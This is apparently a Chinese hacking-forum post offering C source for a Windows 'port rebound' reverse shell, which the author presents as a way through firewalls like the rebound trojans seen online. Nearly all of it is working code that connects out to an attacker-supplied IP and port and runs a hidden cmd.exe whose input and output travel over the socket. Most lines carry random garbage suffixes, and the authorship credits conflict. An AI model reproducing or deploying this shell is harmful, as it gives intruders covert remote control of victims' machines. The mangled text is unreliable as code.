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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Mn{XVXY@qm  
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/* ============================== 716hpj#*  
Rebound port in Windows NT "5h_8k~sQ  
By wind,2006/7 cPJ7E  
===============================*/ 2n(ItA  
#include G\):2Qz!|  
#include /0l-mfRr  
LC76Qi;|k  
#pragma comment(lib,"wsock32.lib") .X^43 q  
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void OutputShell(); NU(^6  
SOCKET sClient; $^ubo5%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YMK>+y[+4  
"d2LyQy  
void main(int argc,char **argv) YY\Rua/nG  
{ RRNH0-D1l  
WSADATA stWsaData; C?S~L5a#oC  
int nRet; P.!;Uf}32  
SOCKADDR_IN stSaiClient,stSaiServer; xp(mB7;:  
K: 4P ;ApI  
if(argc != 3) OK.-]()!  
{ K# /Ch5?  
printf("Useage:\n\rRebound DestIP DestPort\n"); P$Ax c/H  
return; gn364U a  
} 6Z$b?A3zM  
lR, G;  
WSAStartup(MAKEWORD(2,2),&stWsaData); -;f+; M  
#c :9 V2  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }0vtc[!  
coSTZ&0  
stSaiClient.sin_family = AF_INET; 2=Jmi?k  
stSaiClient.sin_port = htons(0); S7Qen6lm  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w9'H.L q  
8.PXTOhVL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  H RWZ0 '  
{ o%$<LaQG5  
printf("Bind Socket Failed!\n"); n|J.)E.  
return; {rs6"X^  
} y{:]sHyG  
#%;<FFu\  
stSaiServer.sin_family = AF_INET; dy'X<o^?W  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  on6<l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zV6AuUIt  
]<Z&=0i#9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZWov_  
{ G3oxa/mO  
printf("Connect Error!");  xh=FkY&d  
return; |:dCVd<du  
} SIj6.RK  
OutputShell(); (/To?`  
} [8xeQKp4  
4V!1/w  
void OutputShell() X S6]C{  
{ 8+=p8e~An  
char szBuff[1024]; Mr#oT?  
SECURITY_ATTRIBUTES stSecurityAttributes; fma tc#G  
OSVERSIONINFO stOsversionInfo; sj#{TTW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5?<|3  
STARTUPINFO stStartupInfo; &n}8Uw0440  
char *szShell; S(@*3]!q  
PROCESS_INFORMATION stProcessInformation; A/ox#(!v  
unsigned long lBytesRead; Nck!z8  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xi1q]ps  
~ra#UG\Y8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Wm];pqN  
stSecurityAttributes.lpSecurityDescriptor = 0; 6GvhEulYR  
stSecurityAttributes.bInheritHandle = TRUE; !"Z."fm*  
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> #Grf)@"6  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %4QoF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t;Fbt("]:  
<=B1"'\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?CcR 7l  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qi(e`(,'  
stStartupInfo.wShowWindow = SW_HIDE; f\U?:8 3  
stStartupInfo.hStdInput = hReadPipe; gOBj0P8s|}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P wt ?9I  
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GetVersionEx(&stOsversionInfo); ==PQ-Ia  
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switch(stOsversionInfo.dwPlatformId) +MOe{:/6  
{ o|b[(t$;O  
case 1: ,qBnqi[  
szShell = "command.com"; QZ:]8MHl]  
break; 0ECO/EuCg  
default: Vq)|gF[6i  
szShell = "cmd.exe"; "-~D! {rS  
break; ,6cbD  
} /ze_{{o  
OuYE-x2]x"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c_D,MW\IC  
`uaD.m$EJ  
send(sClient,szMsg,77,0); os "[Iji  
while(1) v4Fnh`{  
{ Kq@m?h  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FrAqTz  
if(lBytesRead) .:r2BgL  
{ cLN[o8 ZU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Qw{\sCH>  
send(sClient,szBuff,lBytesRead,0); .SRuyioF&  
} a|] %/[G@  
else OyG_thX  
{ toYg$IV  
lBytesRead=recv(sClient,szBuff,1024,0);  q~:'R  
if(lBytesRead<=0) break; #1,>Qnl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lO5gkOJ?  
} O>o}<t7  
} F] dd>#  
5,=B1  
return; 8g2-8pa{  
}
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